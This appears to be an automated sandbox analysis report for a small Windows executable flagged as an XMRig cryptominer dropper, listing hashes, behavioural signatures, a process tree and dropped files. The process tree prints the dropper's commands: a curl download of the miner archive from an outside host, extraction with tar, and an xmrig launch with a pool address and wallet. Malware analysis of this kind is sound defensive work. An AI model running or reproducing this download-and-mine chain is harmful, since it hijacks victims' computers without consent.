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11/03/2024, 21:08

240311-zy7ywsed31 10

11/03/2024, 21:06

240311-zx53xagd73 10

11/03/2024, 21:02

240311-zvwrfsec3x 10

11/03/2024, 21:01

240311-ztxx5aeb9x 10

11/03/2024, 20:59

240311-zs72psgc56 10

11/03/2024, 20:57

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11/03/2024, 20:56

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11/03/2024, 20:55

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11/03/2024, 20:54

240311-zp4j4sgb43 10

11/03/2024, 20:53

240311-zplz3agb32 10

Analysis

  • max time kernel
    144s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/03/2024, 20:54

General

  • Target

    test - Copy (11).exe

  • Size

    6KB

  • MD5

    4634098fe194204dc03f967cc0b19cd6

  • SHA1

    eaa58619c6cea9f148cec61ee504cd727b3e80d8

  • SHA256

    a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c

  • SHA512

    64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d

  • SSDEEP

    96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 4 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\test - Copy (11).exe
    "C:\Users\Admin\AppData\Local\Temp\test - Copy (11).exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:232
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CNdhSHPv.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4148
      • C:\Windows\system32\curl.exe
        curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
        3⤵
          PID:2332
        • C:\Windows\system32\tar.exe
          tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
          3⤵
            PID:3236
          • C:\xmrig\xmrig-6.21.1\xmrig.exe
            C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
            3⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:620

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\CNdhSHPv.bat

        Filesize

        421B

        MD5

        67d11b392feb0ad59fc11ff3e79dfeee

        SHA1

        7df5785988cb76c4893773614572c93baaa18717

        SHA256

        69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

        SHA512

        50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

      • C:\xmrig\xmrig-6.21.1-gcc-win64.zip

        Filesize

        3.0MB

        MD5

        9f2e423f89e402dc27faa6452bd27dfe

        SHA1

        d2ef4cedd0fbd1ba1f0e0bdd84c3dd1789a5525a

        SHA256

        b091ce4972779c7d1cfdf8e722328d72fcb0d11e025916b8f0f919f0f5581d6c

        SHA512

        bdf46082c2aecb73fe65fc28a8a1eab73263542f072e6dbba976e57319179f8a94894021087dbbb8af0bb0ea3304f3e93b79bd80544e97800717d22d9ac36fa1

      • C:\xmrig\xmrig-6.21.1\xmrig.exe

        Filesize

        960KB

        MD5

        554f291c1baf62a11021301aaf03590c

        SHA1

        4ee7a8ffbdc3832f4883bda2b7da0e85f7721fb0

        SHA256

        95674cd45e1743c217200147a5351b71f34a811b6be4f16689ff5f3a9dad2911

        SHA512

        81bdfb581d3810a5b16d528bcbb85c13b4031da4655aa02e467ad2f1051fdc1ef1466cdd2f33f703c8986415c65014572ecfdc20aaac29c13f4a7218165ef2b2

      • memory/232-0-0x0000000000490000-0x0000000000498000-memory.dmp

        Filesize

        32KB

      • memory/232-3-0x00007FFB677A0000-0x00007FFB68261000-memory.dmp

        Filesize

        10.8MB

      • memory/232-7-0x00007FFB677A0000-0x00007FFB68261000-memory.dmp

        Filesize

        10.8MB

      • memory/232-23-0x00007FFB677A0000-0x00007FFB68261000-memory.dmp

        Filesize

        10.8MB

      • memory/620-25-0x000001CE42850000-0x000001CE42870000-memory.dmp

        Filesize

        128KB

      • memory/620-24-0x000001CE42800000-0x000001CE42820000-memory.dmp

        Filesize

        128KB

      • memory/620-26-0x00007FF614190000-0x00007FF614C94000-memory.dmp

        Filesize

        11.0MB

      • memory/620-27-0x00007FF614190000-0x00007FF614C94000-memory.dmp

        Filesize

        11.0MB

      • memory/620-28-0x000001CE42870000-0x000001CE42890000-memory.dmp

        Filesize

        128KB

      • memory/620-29-0x000001CE42890000-0x000001CE428B0000-memory.dmp

        Filesize

        128KB

      • memory/620-30-0x00007FF614190000-0x00007FF614C94000-memory.dmp

        Filesize

        11.0MB

      • memory/620-32-0x00007FF614190000-0x00007FF614C94000-memory.dmp

        Filesize

        11.0MB

      • memory/620-33-0x00007FF614190000-0x00007FF614C94000-memory.dmp

        Filesize

        11.0MB